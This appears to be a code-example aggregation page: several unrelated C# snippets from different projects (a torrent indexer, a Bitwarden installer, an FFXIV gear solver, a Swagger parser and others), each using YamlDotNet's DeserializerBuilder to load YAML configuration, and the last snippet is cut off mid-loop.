public IConfig Deserialize(string config, Type type)
 {
     using (var reader = new StringReader(config))
     {
         var deserializer = new DeserializerBuilder()
             .WithNamingConvention(new NullNamingConvention())
             .IgnoreUnmatchedProperties()
             .WithTypeConverter(new VersionConverter())
             .Build();
         return (IConfig)deserializer.Deserialize(reader, type);
     }
 }
示例#2
0
        protected void Init(string DefinitionString)
        {
            this.DefinitionString = DefinitionString;
            var deserializer = new DeserializerBuilder()
                .WithNamingConvention(new CamelCaseNamingConvention())
                .IgnoreUnmatchedProperties()
                .Build();
            Definition = deserializer.Deserialize<IndexerDefinition>(DefinitionString);

            // Add default data if necessary
            if (Definition.Settings == null)
                Definition.Settings = new List<settingsField>();

            if (Definition.Settings.Count == 0)
            {
                Definition.Settings.Add(new settingsField { Name = "username", Label = "Username", Type = "text" });
                Definition.Settings.Add(new settingsField { Name = "password", Label = "Password", Type = "password" });
            }

            if (Definition.Encoding == null)
                Definition.Encoding = "iso-8859-1";

            if (Definition.Login != null && Definition.Login.Method == null)
                Definition.Login.Method = "form";

            // init missing mandatory attributes
            DisplayName = Definition.Name;
            DisplayDescription = Definition.Description;
            SiteLink = Definition.Links[0]; // TODO: implement alternative links
            Encoding = Encoding.GetEncoding(Definition.Encoding);
            if (!SiteLink.EndsWith("/"))
                SiteLink += "/";
            Language = Definition.Language;
            TorznabCaps = TorznabUtil.CreateDefaultTorznabTVCaps(); // TODO implement caps

            // init config Data
            configData = new ConfigurationData();
            foreach (var Setting in Definition.Settings)
            {
                configData.AddDynamic(Setting.Name, new StringItem { Name = Setting.Label });
            }

            foreach (var Category in Definition.Caps.Categories)
            {
                var cat = TorznabCatType.GetCatByName(Category.Value);
                if (cat == null)
                {
                    logger.Error(string.Format("CardigannIndexer ({0}): Can't find a category for {1}", ID, Category.Value));
                    continue;
                }
                AddCategoryMapping(Category.Key, TorznabCatType.GetCatByName(Category.Value));
                
            }
        }
示例#3
0
        public void LoadConfiguration()
        {
            if (!File.Exists(ConfigPath))
            {
                Helpers.WriteLine(this, "No existing `config.yml` detected. Let's generate one.");

                // Looks like updating from older version. Try to create config file.
                var url = Helpers.GetValueFromEnvFile(this, "global", "globalSettings__baseServiceUri__vault");
                if (!Uri.TryCreate(url, UriKind.Absolute, out var uri))
                {
                    Helpers.WriteLine(this, "Unable to determine existing installation url.");
                    return;
                }
                Config.Url = url;

                var composeFile = $"{DestDir}/docker/docker-compose.yml";
                if (File.Exists(composeFile))
                {
                    var fileLines = File.ReadAllLines(composeFile);
                    foreach (var line in fileLines)
                    {
                        if (!line.StartsWith("# Parameter:"))
                        {
                            continue;
                        }

                        var paramParts = line.Split("=");
                        if (paramParts.Length < 2)
                        {
                            continue;
                        }

                        if (paramParts[0] == "# Parameter:MssqlDataDockerVolume" &&
                            bool.TryParse(paramParts[1], out var mssqlDataDockerVolume))
                        {
                            Config.Compose.DatabaseDockerVolume = mssqlDataDockerVolume;
                            continue;
                        }

                        if (paramParts[0] == "# Parameter:HttpPort" && int.TryParse(paramParts[1], out var httpPort))
                        {
                            Config.Server.HttpPort = httpPort == 0 ? null : httpPort.ToString();
                            continue;
                        }

                        if (paramParts[0] == "# Parameter:HttpsPort" && int.TryParse(paramParts[1], out var httpsPort))
                        {
                            Config.Server.HttpsPort = httpsPort == 0 ? null : httpsPort.ToString();
                            continue;
                        }
                    }
                }

                var nginxFile = $"{DestDir}/nginx/default.conf";
                if (File.Exists(nginxFile))
                {
                    var confContent = File.ReadAllText(nginxFile);
                    var selfSigned  = confContent.Contains("/etc/ssl/self/");
                    Config.Ssl.Enable             = confContent.Contains("ssl http2;");
                    Config.Ssl.ManagedLetsEncrypt = !selfSigned && confContent.Contains("/etc/letsencrypt/live/");
                    var diffieHellman = confContent.Contains("/dhparam.pem;");
                    var trusted       = confContent.Contains("ssl_trusted_certificate ");
                    if (Config.Ssl.ManagedLetsEncrypt)
                    {
                        Config.Ssl.Enable = true;
                    }
                    else if (Config.Ssl.Enable)
                    {
                        var sslPath = selfSigned ? $"/etc/ssl/self/{Config.Domain}" : $"/etc/ssl/{Config.Domain}";
                        Config.Ssl.CertificatePath = string.Concat(sslPath, "/", "certificate.crt");
                        Config.Ssl.KeyPath         = string.Concat(sslPath, "/", "private.key");
                        if (trusted)
                        {
                            Config.Ssl.CaPath = string.Concat(sslPath, "/", "ca.crt");
                        }
                        if (diffieHellman)
                        {
                            Config.Ssl.DiffieHellmanPath = string.Concat(sslPath, "/", "dhparam.pem");
                        }
                    }
                }

                SaveConfiguration();
            }

            var configText   = File.ReadAllText(ConfigPath);
            var deserializer = new DeserializerBuilder()
                               .WithNamingConvention(new UnderscoredNamingConvention())
                               .Build();

            Config = deserializer.Deserialize <Configuration>(configText);
        }
示例#4
0
        //TODO: make this more pretty
        public static void Main(string[] args)
        {
            var cliApp     = new CommandLineApplication();
            var xivPathOpt = cliApp.Option("-p |--game-path <pathToFFXIV>",
                                           "Path to the FFXIV game install (folder containing boot and game)", CommandOptionType.SingleValue);

            var configOpt = cliApp.Option("-c |--config-path <pathToYaml>",
                                          "Path to configuration YAML file, default to config.yaml", CommandOptionType.SingleValue);

            var excludedOpt = cliApp.Option("-X |--exclude <itemId>",
                                            "Item ids of gear or food to exclude from solving; repeat for non-unique items", CommandOptionType.MultipleValue);

            var requiredOpt = cliApp.Option("-R |--require <itemId>",
                                            "Item ids of items required when solving", CommandOptionType.MultipleValue);

            var minIlvlOpt = cliApp.Option("-m |--min-itemlevel <ilvl>",
                                           "Minimum item level of items to consider. Uses max-20 if not passed.", CommandOptionType.SingleValue);
            var maxIlvlOpt = cliApp.Option("-M |--max-itemlevel <ilvl>",
                                           "Maximum item level of items to consider", CommandOptionType.SingleValue);

            var maxOvermeldTierOpt = cliApp.Option("-T |--max-overmeld-tier <tier>",
                                                   "The max tier of materia allowed for overmelds", CommandOptionType.SingleValue);

            var noMaximizeUnweightedOpt = cliApp.Option("--no-maximize-unweighted",
                                                        "Choose to disable maximizing unweighted stats (usually accuracy). Shouldn't be needed.",
                                                        CommandOptionType.NoValue);

            var noFoodOpt = cliApp.Option("--no-food", "Disable food", CommandOptionType.NoValue);

            var noMateriaOpt = cliApp.Option("--no-materia", "Disable materia", CommandOptionType.NoValue);

            var noRelicOpt = cliApp.Option("--no-relic", "Disable relic", CommandOptionType.NoValue);

            var tiersOpt = cliApp.Option("--use-tiers", "Enable SS tiers. Warning: slow unless using a commercial solver", CommandOptionType.NoValue);

            var outputOpt = cliApp.Option("-o |--output <file>", "Write output to <file>", CommandOptionType.SingleValue);

            var solverOpt = cliApp.Option("-s |--solver <solver>", "Solver to use (default: GLPK)",
                                          CommandOptionType.SingleValue);

            var noSolveOpt = cliApp.Option("--no-solve", "Don't solve the model; only works in conjunction with --debug", CommandOptionType.NoValue);

            var debugOpt = cliApp.Option("-d |--debug", "Print the used models in the current directory as model.lp",
                                         CommandOptionType.NoValue);

            var jobArg = cliApp.Argument("<job>", "Enter the job abbreviation to solve for");

            cliApp.HelpOption("-h |--help");

            cliApp.OnExecute(() =>
            {
                if (jobArg.Value == null)
                {
                    Console.Error.WriteLine("You must provide a job to solve for.");
                    return(1);
                }

                if (!xivPathOpt.HasValue())
                {
                    Console.Error.WriteLine("You must provide a path to FFXIV!");
                    return(1);
                }

                var realm   = new ARealmReversed(xivPathOpt.Value(), Language.English);
                var xivColl = realm.GameData;

                //TODO: can combine those converters
                var deserializer = new DeserializerBuilder()
                                   .WithTypeConverter(new BaseParamConverter(xivColl))
                                   .WithTypeConverter(new ClassJobConverter(xivColl))
                                   .WithTypeConverter(new EquipSlotConverter(xivColl))
                                   .WithTypeConverter(new ItemConverter(xivColl))
                                   .WithTypeConverter(new PiecewiseLinearConverter())
                                   .WithNamingConvention(new CamelCaseNamingConvention())
                                   .Build();

                SolverConfig solverConfig = null;

                using (var s = new FileStream(configOpt.HasValue() ? configOpt.Value() : "config.yaml", FileMode.Open))
                {
                    solverConfig = deserializer.Deserialize <SolverConfig>(new StreamReader(s));
                }

                solverConfig.MaximizeUnweightedValues = !noMaximizeUnweightedOpt.HasValue();
                solverConfig.UseTiers = tiersOpt.HasValue();

                var classJob = xivColl.GetSheet <ClassJob>().Single(x => string.Equals(x.Abbreviation, jobArg.Value, StringComparison.InvariantCultureIgnoreCase));

                var items = xivColl.GetSheet <Item>().ToList();

                if (excludedOpt.HasValue())
                {
                    var excludedIds = new List <int>();
                    foreach (var excluded in excludedOpt.Values)
                    {
                        try
                        {
                            var id   = int.Parse(excluded);
                            var item = xivColl.Items[id];
                            excludedIds.Add(id);
                        }
                        catch (KeyNotFoundException)
                        {
                            Console.Error.WriteLine($"Unknown id {excluded}, ignoring.");
                        }
                        catch (FormatException)
                        {
                            Console.Error.WriteLine($"Not an integer: {excluded}");
                        }
                        catch (OverflowException)
                        {
                            Console.Error.WriteLine($"Too large: {excluded}");
                        }
                    }
                    items = items.Where(k => !excludedIds.Contains(k.Key)).ToList();
                }

                //TODO: duplicated code
                if (requiredOpt.HasValue())
                {
                    solverConfig.RequiredItems = new List <int>();
                    requiredOpt.Values.Select(int.Parse).ForEach(solverConfig.RequiredItems.Add);
                }

                var equip = items.OfType <Equipment>().Where(e => e.ClassJobCategory.ClassJobs.Contains(classJob));

                var maxIlvl = equip.Max(x => x.ItemLevel.Key);
                if (maxIlvlOpt.HasValue())
                {
                    maxIlvl = int.Parse(maxIlvlOpt.Value());
                }

                var minIlvl = maxIlvl - 20;
                if (minIlvlOpt.HasValue())
                {
                    minIlvl = int.Parse(minIlvlOpt.Value());
                }

                equip = equip.Where(e => e.ItemLevel.Key >= minIlvl && e.ItemLevel.Key <= maxIlvl || solverConfig.RequiredItems != null && solverConfig.RequiredItems.Contains(e.Key)).ToList();

                var food = noFoodOpt.HasValue() ? new List <FoodItem>() : items.Where(FoodItem.IsFoodItem).Select(t => new FoodItem(t));

                var maxTier = items.OfType <MateriaItem>().Max(i => i.Tier);
                var materia = noMateriaOpt.HasValue() ? new Dictionary <MateriaItem, bool>() : items.OfType <MateriaItem>()
                              .Where(i => i.Tier == maxTier || (maxOvermeldTierOpt.HasValue() && i.Tier == int.Parse(maxOvermeldTierOpt.Value()) - 1))
                              .ToDictionary(i => i, i => !maxOvermeldTierOpt.HasValue() || i.Tier < int.Parse(maxOvermeldTierOpt.Value()));

                if (noRelicOpt.HasValue())
                {
                    solverConfig.RelicConfigs = new Dictionary <int, RelicConfig>();
                }

                //TODO: improve solver handling
                SolverBase solver = CreateGLPKSolver();
                if (solverOpt.HasValue())
                {
                    switch (solverOpt.Value())
                    {
                    case "Gurobi":
                        solver = new GurobiSolver();
                        solverConfig.SolverSupportsSOS = true;
                        break;
                    }
                }

                var debug    = debugOpt.HasValue();
                var settings = new OptimizationConfigSection();
                //settings.ModelElement.EnableFullNames = debug;

                using (var scope = new ModelScope(settings))
                {
                    var model = new BisModel(solverConfig, classJob,
                                             equip, food, materia);

                    if (debug)
                    {
                        using (var f = new FileStream("model.lp", FileMode.Create))
                        {
                            model.Model.Write(f, FileType.LP);
                        }
                        using (var f = new FileStream("model.mps", FileMode.Create))
                        {
                            model.Model.Write(f, FileType.MPS);
                        }

                        if (noSolveOpt.HasValue())
                        {
                            Console.WriteLine("Printed model, exiting...");
                            return(0);
                        }
                    }

                    var solution = solver.Solve(model.Model);

                    model.ApplySolution(solution);

                    if (outputOpt.HasValue())
                    {
                        using (var fs = new FileStream(outputOpt.Value(), FileMode.Create))
                        {
                            var sw = new StreamWriter(fs);
                            OutputModel(model, sw);
                            sw.Close();
                        }
                    }
                    else
                    {
                        OutputModel(model, Console.Out);
                    }
                    Console.WriteLine(solverConfig.UseTiers ? "SS tiers have been taken into account" : "SS tiers have been ignored; pass --use-tiers to enable (slow)");
                }

                return(0);
            });

            cliApp.Execute(args);
        }
示例#5
0
        /// <summary>
        /// Deserialize
        /// </summary>
        /// <typeparam name="T">Result Type</typeparam>
        /// <param name="path">Yaml File Path</param>
        /// <returns>Deserialized Yaml File Value</returns>
        public static T Deserialize <T>(string path)
        {
            var deserializer = new DeserializerBuilder().WithNamingConvention(new CamelCaseNamingConvention()).Build();

            return(deserializer.Deserialize <T>(File.ReadAllText(path, Encoding.UTF8)));
        }
示例#6
0
        public static bool LoadMaps(string mapPath)
        {
            MapFiles = new Dictionary <string, MapFile>();

            var f = new DirectoryEnumerationFilters
            {
                InclusionFilter = entry => entry.Extension.ToUpperInvariant() == ".SMAP",
                RecursionFilter = null,
                ErrorFilter     = (errorCode, errorMessage, pathProcessed) => true
            };

            var dirEnumOptions =
                DirectoryEnumerationOptions.Files |
                DirectoryEnumerationOptions.SkipReparsePoints | DirectoryEnumerationOptions.ContinueOnException |
                DirectoryEnumerationOptions.BasicSearch;

            var mapFiles =
                Directory.EnumerateFileSystemEntries(mapPath, dirEnumOptions, f).ToList();

            var l = LogManager.GetLogger("LoadMaps");

            var deserializer = new DeserializerBuilder()
                               .Build();

            var validator = new MapFileMapValidator();

            var errorMaps = new List <string>();

            foreach (var mapFile in mapFiles.OrderBy(t => t))
            {
                try
                {
                    var mf = deserializer.Deserialize <MapFile>(File.ReadAllText(mapFile));

                    l.Trace(mf.Dump());

                    var validate = validator.Validate(mf);

                    if (DisplayValidationResults(validate, mapFile))
                    {
                        if (MapFiles.ContainsKey(
                                $"{mf.Id.ToUpperInvariant()}") == false)
                        {
                            l.Debug($"'{Path.GetFileName(mapFile)}' is valid. Id: '{mf.Id}'. Adding to maps...");
                            MapFiles.Add($"{mf.Id.ToUpperInvariant()}",
                                         mf);
                        }
                        else
                        {
                            l.Warn(
                                $"A map with Id '{mf.Id}' already exists (File name: '{mf.FileName}'). Map '{Path.GetFileName(mapFile)}' will be skipped");
                        }
                    }
                    else
                    {
                        errorMaps.Add(Path.GetFileName(mapFile));
                    }
                }
                catch (SyntaxErrorException se)
                {
                    errorMaps.Add(Path.GetFileName(mapFile));

                    Console.WriteLine();
                    l.Warn($"Syntax error in '{mapFile}':");
                    l.Fatal(se.Message);

                    var lines        = File.ReadLines(mapFile).ToList();
                    var fileContents = mapFile.ReadAllText();

                    var badLine = lines[se.Start.Line - 1];
                    Console.WriteLine();
                    l.Fatal(
                        $"Bad line (or close to it) '{badLine}' has invalid data at column '{se.Start.Column}'");

                    if (fileContents.Contains('\t'))
                    {
                        Console.WriteLine();
                        l.Error(
                            "Bad line contains one or more tab characters. Replace them with spaces");
                        Console.WriteLine();
                        l.Info(fileContents.Replace("\t", "<TAB>"));
                    }
                }
                catch (YamlException ye)
                {
                    errorMaps.Add(Path.GetFileName(mapFile));

                    Console.WriteLine();
                    l.Warn($"Syntax error in '{mapFile}':");

                    var fileContents = mapFile.ReadAllText();

                    l.Info(fileContents);

                    if (ye.InnerException != null)
                    {
                        l.Fatal(ye.InnerException.Message);
                    }

                    Console.WriteLine();
                    l.Fatal("Verify all properties against example files or manual and try again.");
                }
                catch (Exception e)
                {
                    l.Error($"Error loading map file '{mapFile}': {e.Message}");
                }
            }

            if (errorMaps.Count > 0)
            {
                l.Error("\r\nThe following maps had errors. Scroll up to review errors, correct them, and try again.");
                foreach (var errorMap in errorMaps)
                {
                    l.Info(errorMap);
                }

                l.Info("");
            }

            return(errorMaps.Count > 0);
        }
示例#7
0
        public ConverterXml2Yaml(string folderXml, string folderYaml, string folderJson, string folderResx, bool checkBSDD = false)
        {
            log.Info($"Converting the PSets from this source folder: {folderXml}");
            if (folderYaml != null)
            {
                log.Info($"Converting YAML files in this target folder: {folderYaml}");
            }
            if (folderJson != null)
            {
                log.Info($"Converting JSON files in this target folder: {folderJson}");
            }
            if (folderResx != null)
            {
                log.Info($"Converting Resx files in this target folder: {folderResx}");
            }

            if (folderXml == null)
            {
                log.Error($"ERROR - The parameter folderXml does not exist. Exiting!");
                return;
            }

            if (folderYaml == null)
            {
                log.Error($"ERROR - The parameter folderYaml does not exist. Exiting!");
                return;
            }

            if (!Directory.Exists(folderXml))
            {
                log.Error($"ERROR - The Directory {folderXml} does not exist. Exiting!");
                return;
            }

            if (folderYaml != null)
            {
                if (!Directory.Exists(folderYaml))
                {
                    log.Error($"ERROR - The Directory {folderYaml} does not exist. Exiting!");
                    return;
                }
            }

            if (folderJson != null)
            {
                if (!Directory.Exists(folderJson))
                {
                    log.Error($"ERROR - The Directory {folderJson} does not exist. Exiting!");
                    return;
                }
            }

            if (folderResx != null)
            {
                if (!Directory.Exists(folderResx))
                {
                    log.Error($"ERROR - The Directory {folderResx} does not exist. Exiting!");
                    return;
                }
            }

            CheckBSDD = checkBSDD;
            if (CheckBSDD)
            {
                _bsdd = new Bsdd();
            }

            string propertySetVersionList  = string.Empty;
            string propertySetTemplateList = string.Empty;
            string propertyTypeList        = string.Empty;
            string propertyUnitList        = string.Empty;

            foreach (string sourceFile in Directory.EnumerateFiles(folderXml, "PSet*.xml").OrderBy(x => x).ToList())//.Where(x=>x.Contains("Pset_CondenserTypeCommon")))
            {
                numberOfPsets++;

                string sourceFileContent = File.ReadAllText(sourceFile);
                //Dirty Fix of this serialization error: Not expected: <PropertySetDef xmlns='http://buildingSMART-tech.org/xml/psd/PSD_IFC4.xsd'>
                string deserializationErrorString = "xmlns=\"http://buildingSMART-tech.org/xml/psd/PSD_IFC4.xsd\"";
                string sourceFileContentReplaced  = sourceFileContent.Replace(deserializationErrorString, string.Empty);


                PropertySetDef pSet = PropertySetDef.Deserialize(sourceFileContentReplaced);
                log.Info("--------------------------------------------------");
                log.Info($"Checking PSet {pSet.Name}");
                log.Info($"Opened PSet-File {sourceFile.Replace(folderXml + @"\", string.Empty)}");

                if (!propertySetVersionList.Contains(pSet.IfcVersion.version))
                {
                    propertySetVersionList += pSet.IfcVersion.version + ",";
                }
                if (!propertySetTemplateList.Contains(pSet.templatetype.ToString()))
                {
                    propertySetTemplateList += pSet.templatetype.ToString() + ",";
                }

                PropertySet propertySet = new PropertySet()
                {
                    name                = pSet.Name,
                    definition          = pSet.Definition,
                    templatetype        = pSet.templatetype.ToString() ?? string.Empty,
                    dictionaryReference = new DictionaryReference()
                    {
                        ifdGuid    = pSet.ifdguid ?? string.Empty,
                        legacyGuid = pSet.ifdguid ?? string.Empty,
                        legacyGuidAsIfcGlobalId = Utils.GuidConverterToIfcGuid(pSet.ifdguid)
                    },
                    ifcVersion = new IfcVersion()
                    {
                        version = ConvertToSematicVersion(pSet.IfcVersion.version).ToString(),
                        schema  = pSet.IfcVersion.schema
                    }
                };

                propertySet.applicableIfcClasses = new List <ApplicableIfcClass>();
                foreach (var applicableClass in pSet.ApplicableClasses)
                {
                    propertySet.applicableIfcClasses.Add(new ApplicableIfcClass()
                    {
                        name = applicableClass,
                        type = pSet.ApplicableTypeValue
                    });
                }

                //Insert missing standard localizations as dummys
                propertySet.localizations = new List <Localization>();
                foreach (string standardLanguage in StandardLanguages.OrderBy(x => x))
                {
                    if (propertySet.localizations.Where(x => x.language == standardLanguage).FirstOrDefault() == null)
                    {
                        propertySet.localizations.Add(new Localization()
                        {
                            language   = standardLanguage,
                            name       = string.Empty,
                            definition = string.Empty
                        });
                    }
                }

                if (CheckBSDD)
                {
                    if (propertySet.dictionaryReference.legacyGuid.Length == 0)
                    {
                        Console.ForegroundColor = ConsoleColor.Red;
                        log.Info($"      ERROR: The GUID is missing in PSet!");
                        Console.ResetColor();
                    }
                    IfdConceptList ifdConceptList = _bsdd.SearchNests(pSet.Name);
                    if (ifdConceptList == null)
                    {
                        log.Info($"      Could not find the PSet in bSDD");
                    }
                    else
                    {
                        numberOfPsetsWithbSDDGuid++;
                        IfdConcept bsddPSet = ifdConceptList.IfdConcept.FirstOrDefault();
                        log.Info($"      Loaded Property from bSDD (1 out of {ifdConceptList.IfdConcept.Count})");
                        log.Info($"      Loaded PSet from bSDD");
                        log.Info($"         Guid:        {bsddPSet.Guid}");
                        log.Info($"         Status:      {bsddPSet.Status}");
                        log.Info($"         VersionDate: {bsddPSet.VersionDate}");
                        log.Info($"         Web:         http://bsdd.buildingsmart.org/#concept/browse/{bsddPSet.Guid}");

                        if (ifdConceptList.IfdConcept.Count == 1)
                        {
                            log.Info($"      The GUID of the PSet in the file was changed {propertySet.dictionaryReference.legacyGuid} => {bsddPSet.Guid}");
                            propertySet.dictionaryReference.ifdGuid = bsddPSet.Guid;
                        }
                    }
                }
                propertySet.dictionaryReference.dictionaryWebUri = $"http://bsdd.buildingsmart.org/#concept/browse/{propertySet.dictionaryReference.ifdGuid}";
                propertySet.dictionaryReference.dictionaryApiUri = $"http://bsdd.buildingsmart.org/api/4.0/IfdConcept/{propertySet.dictionaryReference.ifdGuid}";

                log.Info($"   Now checking the properties within the PSet");
                propertySet.properties = LoadProperties(pSet, pSet.PropertyDefs);
                propertySet            = Utils.PrepareTexts(propertySet);

                if (folderYaml != null)
                {
                    string targetFileYaml = sourceFile.Replace("xml", "YAML").Replace(folderXml, folderYaml);

                    var ScalarStyleSingleQuoted = new YamlMemberAttribute()
                    {
                        ScalarStyle = ScalarStyle.SingleQuoted
                    };

                    var yamlSerializer = new SerializerBuilder()
                                         //.WithNamingConvention(new CamelCaseNamingConvention())
                                         .WithAttributeOverride <PropertySet>(nc => nc.name, ScalarStyleSingleQuoted)
                                         .WithAttributeOverride <PropertySet>(nc => nc.definition, ScalarStyleSingleQuoted)
                                         .WithAttributeOverride <Localization>(nc => nc.name, ScalarStyleSingleQuoted)
                                         .WithAttributeOverride <Localization>(nc => nc.definition, ScalarStyleSingleQuoted)
                                         .Build();

                    string yamlContent = yamlSerializer.Serialize(propertySet);
                    File.WriteAllText(targetFileYaml, yamlContent, Encoding.UTF8);

                    var yamlDeserializer = new DeserializerBuilder().Build();
                    try
                    {
                        propertySet = yamlDeserializer.Deserialize <PropertySet>(new StringReader(File.ReadAllText(targetFileYaml)));
                        log.Info("The YAML file is valid");
                    }
                    catch (Exception ex)
                    {
                        Console.Write("   ERROR!");
                        log.Info(ex.Message);
                    }

                    log.Info("The PSet was saved as YAML file");
                }


                if (folderJson != null)
                {
                    string targetFileJson = sourceFile.Replace("xml", "json").Replace(folderXml, folderJson);
                    JsonSerializerSettings jsonSerializerSettings = new JsonSerializerSettings();
                    jsonSerializerSettings.Converters.Add(new Newtonsoft.Json.Converters.StringEnumConverter());
                    jsonSerializerSettings.NullValueHandling = NullValueHandling.Ignore;
                    string jsonContent = JsonConvert.SerializeObject(propertySet, Formatting.Indented, jsonSerializerSettings);
                    File.WriteAllText(targetFileJson, jsonContent, Encoding.UTF8);
                    log.Info("The PSet was saved as JSON file");
                }

                if (folderResx != null)
                {
                    string     targetFileResx = sourceFile.Replace("xml", "resx").Replace(folderXml, folderResx);
                    ResxWriter resx           = new ResxWriter(targetFileResx);
                    resx.Write(propertySet, StandardLanguages);
                    log.Info("The PSet was saved as RESX file");
                }
            }
            log.Info($"Number of PSets:                 {numberOfPsets}");
            log.Info($"   with not resolved bSDD Guid:  {numberOfPsetsWithbSDDGuid}");
            log.Info($"Number of Properties:            {numberOfProperties}");
            log.Info($"   with not resolved bSDD Guid:  {numberOfPropertiesWithbSDDGuid}");
        }
示例#8
0
        /// <summary>
        /// Strips the Markdown Meta data from the message and populates
        /// the post structure with the meta data values.
        /// </summary>
        /// <param name="markdown"></param>
        /// <param name="post"></param>
        /// <param name="weblogInfo"></param>
        public static WeblogPostMetadata GetPostYamlConfigFromMarkdown(string markdown, Post post, WeblogInfo weblogInfo)
        {
            var meta = new WeblogPostMetadata()
            {
                RawMarkdownBody = markdown,
                MarkdownBody    = markdown,
                WeblogName      = WeblogAddinConfiguration.Current.LastWeblogAccessed,
                CustomFields    = new Dictionary <string, CustomField>()
            };


            if (string.IsNullOrEmpty(markdown))
            {
                return(meta);
            }

            markdown = markdown.Trim();

            if (!markdown.StartsWith("---\n") && !markdown.StartsWith("---\r"))
            {
                return(meta);
            }

            string extractedYaml = null;
            //var match = YamlExtractionRegex.Match(markdown);
            var match = MarkdownUtilities.YamlExtractionRegex.Match(markdown);

            if (match.Success)
            {
                extractedYaml = match.Value;
            }

            //var extractedYaml = StringUtils.ExtractString(markdown.TrimStart(), "---\n", "\n---\n",returnDelimiters: true);
            if (string.IsNullOrEmpty(extractedYaml))
            {
                return(meta);
            }

            var yaml  = StringUtils.ExtractString(markdown, "---", "\n---", returnDelimiters: false).Trim();
            var input = new StringReader(yaml);

            var deserializer = new DeserializerBuilder()
                               .IgnoreUnmatchedProperties()
                               .WithNamingConvention(new CamelCaseNamingConvention())
                               .Build();

            WeblogPostMetadata yamlMeta = null;

            try
            {
                yamlMeta = deserializer.Deserialize <WeblogPostMetadata>(input);
            }
            catch
            {
                return(meta);
            }

            if (yamlMeta == null)
            {
                return(meta);
            }

            if (meta.CustomFields == null)
            {
                meta.CustomFields = new Dictionary <string, CustomField>();
            }

            meta = yamlMeta;
            meta.MarkdownBody    = markdown.Replace(extractedYaml, "");
            meta.RawMarkdownBody = markdown;


            post.Title = meta.Title?.Trim();
            if (!string.IsNullOrEmpty(meta.Categories))
            {
                post.Categories = meta.Categories.Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries);
                for (int i = 0; i < post.Categories.Length; i++)
                {
                    post.Categories[i] = post.Categories[i].Trim();
                }
            }

            if (!string.IsNullOrEmpty(meta.Keywords))
            {
                post.Tags = meta.Keywords.Split(new[] { ',' }, StringSplitOptions.RemoveEmptyEntries);
                for (int i = 0; i < post.Tags.Length; i++)
                {
                    post.Tags[i] = post.Tags[i].Trim();
                }
            }

            post.Permalink   = meta.Permalink;
            post.DateCreated = meta.PostDate;
            if (post.DateCreated < new DateTime(2000, 1, 1))
            {
                post.DateCreated = DateTime.Now;
            }

            post.mt_excerpt  = meta.Abstract;
            post.mt_keywords = meta.Keywords;

            if (meta.CustomFields != null)
            {
                post.CustomFields = meta.CustomFields.Values.ToArray();
            }

            return(meta);
        }
示例#9
0
        /// <summary>
        /// Parses Swagger (OpenAPI) 2.0 into a service definition.
        /// </summary>
        public ServiceInfo ParseDefinition(NamedText source)
        {
            if (string.IsNullOrWhiteSpace(source.Text))
            {
                throw new ServiceDefinitionException("Service definition is missing.", new NamedTextPosition(source.Name, 1, 1));
            }

            SwaggerService       swaggerService;
            SwaggerParserContext context;

            if (!s_detectJsonRegex.IsMatch(source.Text))
            {
                // parse YAML
                var yamlDeserializer = new DeserializerBuilder()
                                       .IgnoreUnmatchedProperties()
                                       .WithNamingConvention(new OurNamingConvention())
                                       .Build();
                using (var stringReader = new StringReader(source.Text))
                {
                    try
                    {
                        swaggerService = yamlDeserializer.Deserialize <SwaggerService>(stringReader);
                    }
                    catch (YamlException exception)
                    {
                        var          exceptionError  = exception.InnerException?.Message ?? exception.Message;
                        const string errorStart      = "): ";
                        int          errorStartIndex = exceptionError.IndexOf(errorStart, StringComparison.OrdinalIgnoreCase);
                        if (errorStartIndex != -1)
                        {
                            exceptionError = exceptionError.Substring(errorStartIndex + errorStart.Length);
                        }

                        var exceptionPosition = new NamedTextPosition(source.Name, exception.End.Line, exception.End.Column);
                        throw new ServiceDefinitionException(exceptionError, exceptionPosition);
                    }
                }
                if (swaggerService == null)
                {
                    throw new ServiceDefinitionException("Service definition is missing.", new NamedTextPosition(source.Name, 1, 1));
                }

                context = SwaggerParserContext.FromYaml(source);
            }
            else
            {
                // parse JSON
                using (var stringReader = new StringReader(source.Text))
                    using (var jsonTextReader = new JsonTextReader(stringReader))
                    {
                        try
                        {
                            swaggerService = JsonSerializer.Create(SwaggerUtility.JsonSerializerSettings).Deserialize <SwaggerService>(jsonTextReader);
                        }
                        catch (JsonException exception)
                        {
                            var exceptionPosition = new NamedTextPosition(source.Name, jsonTextReader.LineNumber, jsonTextReader.LinePosition);
                            throw new ServiceDefinitionException(exception.Message, exceptionPosition);
                        }

                        context = SwaggerParserContext.FromJson(source);
                    }
            }

            return(ConvertSwaggerService(swaggerService, context));
        }
        public static T Deserialize <T>(string yaml)
        {
            IDeserializer deserializer = new DeserializerBuilder().Build();

            return(deserializer.Deserialize <T>(yaml));
        }
示例#11
0
        private void LoadConditions()
        {
            try
            {
                string path = Config.UsesGlobalConfig ? FileDirectory : Path.Combine(ConfigsDirectory, Server.Port.ToString(), "config.yml");

                if (!Directory.Exists(ConfigsDirectory))
                {
                    Directory.CreateDirectory(ConfigsDirectory);
                }

                if (!Config.UsesGlobalConfig)
                {
                    if (!Directory.Exists(Path.Combine(ConfigsDirectory, Server.Port.ToString())))
                    {
                        Directory.CreateDirectory(Path.Combine(ConfigsDirectory, Server.Port.ToString()));
                    }
                }

                if (!File.Exists(path))
                {
                    File.WriteAllText(path, Encoding.UTF8.GetString(Resources.config));
                }

                FileStream    stream       = File.OpenRead(path);
                IDeserializer deserializer = new DeserializerBuilder().Build();
                object        yamlObject   = deserializer.Deserialize(new StreamReader(stream));
                if (yamlObject == null)
                {
                    Log.Error("Unable to deserialize EndConditions win conditions!");
                    OnDisabled();
                    return;
                }

                ISerializer serializer = new SerializerBuilder().JsonCompatible().Build();
                string      jsonString = serializer.Serialize(yamlObject);
                JObject     json       = JObject.Parse(jsonString);

                JObject configs = json.SelectToken("endconditions")?.Value <JObject>();
                if (configs == null)
                {
                    Log.Error("Could not read the EndConditions config! Disabling.");
                    OnDisabled();
                    return;
                }

                List <JProperty> groups = configs.Properties().ToList();
                foreach (JProperty group in groups)
                {
                    foreach (JObject bundle in group.Value.Children())
                    {
                        JProperty miniBundle = bundle.Properties().First();
                        var       array      = miniBundle.Value as JArray;
                        if (array == null)
                        {
                            Log.Error($"Unable to parse a class bundle under the condition {group.Name}.");
                            continue;
                        }

                        if (!Enum.TryParse(group.Name, true, out LeadingTeam leadingTeam))
                        {
                            Log.Error($"Unable to parse {group.Name} into a leading team. Skipping registration of condition.");
                            continue;
                        }

                        List <string> hold = new List <string>();
                        foreach (string item in array)
                        {
